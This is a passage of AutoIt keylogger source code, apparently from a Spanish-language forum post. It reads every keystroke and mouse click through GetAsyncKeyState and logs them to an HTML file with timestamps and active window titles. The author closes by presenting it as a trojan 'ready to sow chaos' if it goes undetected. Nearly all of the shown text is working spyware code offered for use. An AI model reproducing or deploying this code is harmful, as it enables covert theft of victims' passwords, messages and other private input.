If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("w")
Else
_LoggearTecla("W")
EndIf
While _IsPressed ('57') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('58') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("x")
Else
_LoggearTecla("X")
EndIf
While _IsPressed ('58') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('59') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("y")
Else
_LoggearTecla("Y")
EndIf
While _IsPressed ('59') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('5A') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("z")
Else
_LoggearTecla("Z")
EndIf
While _IsPressed ('5A') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('20') = 1 Then
_LoggearTecla(" ")
While _IsPressed ('20') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('01') = 1 Then
_LoggearTecla("<font color=#008000 style=font-size:9px><i>{LMS}</i></font>")
While _IsPressed ("01") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('02') = 1 Then
_LoggearTecla("<font color=#008000 style=font-size:9px><i>{RMS}</i></font>")
While _IsPressed ("02") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('04') = 1 Then
_LoggearTecla("<font color=#008000 style=font-size:9px><i>{MMS}</i></font>")
While _IsPressed ("04") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('08') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{BS}</i></font>")
While _IsPressed ("08") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('09') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{TAB}</i></font>")
While _IsPressed ("09") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('0d') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{EN}</i></font><br>")
While _IsPressed ("0d") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('10') Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{SHIFT}</i></font>")
While _IsPressed ("10") = 1
For $n = 30 To 39
If _IsPressed ($n) Then
If StringRight($n, 1) = 0 Then
_LoggearTecla('=')
ElseIf StringRight($n, 1) = 1 Then
_LoggearTecla('!')
ElseIf StringRight($n, 1) = 2 Then
_LoggearTecla('"')
ElseIf StringRight($n, 1) = 3 Then
_LoggearTecla('#')
ElseIf StringRight($n, 1) = 4 Then
_LoggearTecla('$')
ElseIf StringRight($n, 1) = 5 Then
_LoggearTecla('%')
ElseIf StringRight($n, 1) = 6 Then
_LoggearTecla('&')
ElseIf StringRight($n, 1) = 7 Then
_LoggearTecla('/')
ElseIf StringRight($n, 1) = 8 Then
_LoggearTecla('(')
ElseIf StringRight($n, 1) = 9 Then
_LoggearTecla(')')
EndIf
While _IsPressed ($n) = 1
Sleep(1)
WEnd
EndIf
Next
If _IsPressed ('41') = 1 Then _LoggearTecla("A")
While _IsPressed ('41') = 1
Sleep(1)
WEnd
If _IsPressed ('42') = 1 Then _LoggearTecla("B")
While _IsPressed ('42') = 1
Sleep(1)
WEnd
If _IsPressed ('43') = 1 Then _LoggearTecla("C")
While _IsPressed ('43') = 1
Sleep(1)
WEnd
If _IsPressed ('44') = 1 Then _LoggearTecla("D")
While _IsPressed ('44') = 1
Sleep(1)
WEnd
If _IsPressed ('45') = 1 Then _LoggearTecla("E")
While _IsPressed ('45') = 1
Sleep(1)
WEnd
If _IsPressed ('46') = 1 Then _LoggearTecla("F")
While _IsPressed ('46') = 1
Sleep(1)
WEnd
If _IsPressed ('47') = 1 Then _LoggearTecla("G")
While _IsPressed ('47') = 1
Sleep(1)
WEnd
If _IsPressed ('48') = 1 Then _LoggearTecla("H")
While _IsPressed ('48') = 1
Sleep(1)
WEnd
If _IsPressed ('49') = 1 Then _LoggearTecla("I")
While _IsPressed ('49') = 1
Sleep(1)
WEnd
If _IsPressed ('4A') = 1 Then _LoggearTecla("J")
While _IsPressed ('4A') = 1
Sleep(1)
WEnd
If _IsPressed ('4B') = 1 Then _LoggearTecla("K")
While _IsPressed ('4B') = 1
Sleep(1)
WEnd
If _IsPressed ('4C') = 1 Then _LoggearTecla("L")
While _IsPressed ('4C') = 1
Sleep(1)
WEnd
If _IsPressed ('4D') = 1 Then _LoggearTecla("M")
While _IsPressed ('4D') = 1
Sleep(1)
WEnd
If _IsPressed ('4E') = 1 Then _LoggearTecla("N")
While _IsPressed ('4E') = 1
Sleep(1)
WEnd
If _IsPressed ('4F') = 1 Then _LoggearTecla("O")
While _IsPressed ('4F') = 1
Sleep(1)
WEnd
If _IsPressed ('50') = 1 Then _LoggearTecla("P")
While _IsPressed ('50') = 1
Sleep(1)
WEnd
If _IsPressed ('51') = 1 Then _LoggearTecla("Q")
While _IsPressed ('51') = 1
Sleep(1)
WEnd
If _IsPressed ('52') = 1 Then _LoggearTecla("R")
While _IsPressed ('52') = 1
Sleep(1)
WEnd
If _IsPressed ('53') = 1 Then _LoggearTecla("S")
While _IsPressed ('53') = 1
Sleep(1)
WEnd
If _IsPressed ('54') = 1 Then _LoggearTecla("T")
While _IsPressed ('54') = 1
Sleep(1)
WEnd
If _IsPressed ('55') = 1 Then _LoggearTecla("U")
While _IsPressed ('55') = 1
Sleep(1)
WEnd
If _IsPressed ('56') = 1 Then _LoggearTecla("V")
While _IsPressed ('56') = 1
Sleep(1)
WEnd
If _IsPressed ('57') = 1 Then _LoggearTecla("W")
While _IsPressed ('57') = 1
Sleep(1)
WEnd
If _IsPressed ('58') = 1 Then _LoggearTecla("X")
While _IsPressed ('58') = 1
Sleep(1)
WEnd
If _IsPressed ('59') = 1 Then _LoggearTecla("Y")
While _IsPressed ('59') = 1
Sleep(1)
WEnd
If _IsPressed ('5A') = 1 Then _LoggearTecla("Z")
While _IsPressed ('5A') = 1
Sleep(1)
WEnd
WEnd
ElseIf _IsPressed ('11') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{CTRL}</i></font>")
While _IsPressed ("11") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('12') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{ALT}</i></font>")
While _IsPressed ("12") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('13') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{PAUSE}</i></font>")
While _IsPressed ("13") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('14') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{CAPSLOCK}</i></font>")
If $CAPSLOCKTOGGLE = 1 Then
$CAPSLOCKTOGGLE = 0
ElseIf $CAPSLOCKTOGGLE = 0 Then
$CAPSLOCKTOGGLE = 1
EndIf
While _IsPressed ("14") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('1b') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{ESC}</i></font>")
While _IsPressed ("1b") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('21') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{PGUP}</i></font>")
While _IsPressed ("21") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('22') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{PG_DOWN}</i></font>")
While _IsPressed ("22") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('23') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{END}</i></font>")
While _IsPressed ("23") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('24') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{HOME}</i></font>")
While _IsPressed ("24") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('25') = 1 Then
_LoggearTecla("<font color=#008000 style=font-size:9px><i>{LEFT ARROW}</i></font>")
While _IsPressed ("25") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('26') = 1 Then
_LoggearTecla("<font color=#008000 style=font-size:9px><i>{UP ARROW}</i></font>")
While _IsPressed ("26") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('27') = 1 Then
_LoggearTecla("<font color=#008000 style=font-size:9px><i>{RIGHT ARROW}</i></font>")
While _IsPressed ("27") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('28') = 1 Then
_LoggearTecla("<font color=#008000 style=font-size:9px><i>{DOWN ARROW}</i></font>")
While _IsPressed ("28") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2c') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{PRINT}</i></font>")
While _IsPressed ("2c") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2d') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{INSERT}</i></font>")
While _IsPressed ("2d") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2e') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{DEL}</i></font>")
While _IsPressed ("2e") = 1
Sleep(1)
WEnd
EndIf
WEnd
Func _IsPressed($hexKey)
Local $aR, $bRv
$hexKey = '0x' & $hexKey
$aR = DllCall($user32, "int", "GetAsyncKeyState", "int", $hexKey)
If $aR[0] <> 0 Then
$bRv = 1
Else
$bRv = 0
EndIf
Return $bRv
EndFunc
Func _LoggearTecla($loggueo)
$window = WinGetTitle("")
If $window = $window2 Then
FileWrite($log, $loggueo)
Else
$window2 = $window
FileWrite($log, "<br><BR>" & "<b>[" &
[email protected]
& "." &
[email protected]
& "." &
[email protected]
& " " &
[email protected]
& ":" &
[email protected]
& ":" &
[email protected]
& '] Window : "' & $window & '"</b><br>' & $loggueo)
EndIf
EndFunc
Func Terminate()
DllClose($user32)
FileClose($log)
Exit
EndFunc
[/color]
Le pegamos una prueba, mientras escribo esto...
Voilá! Trojano listo para sembrar caos! (si no fuera detectado)
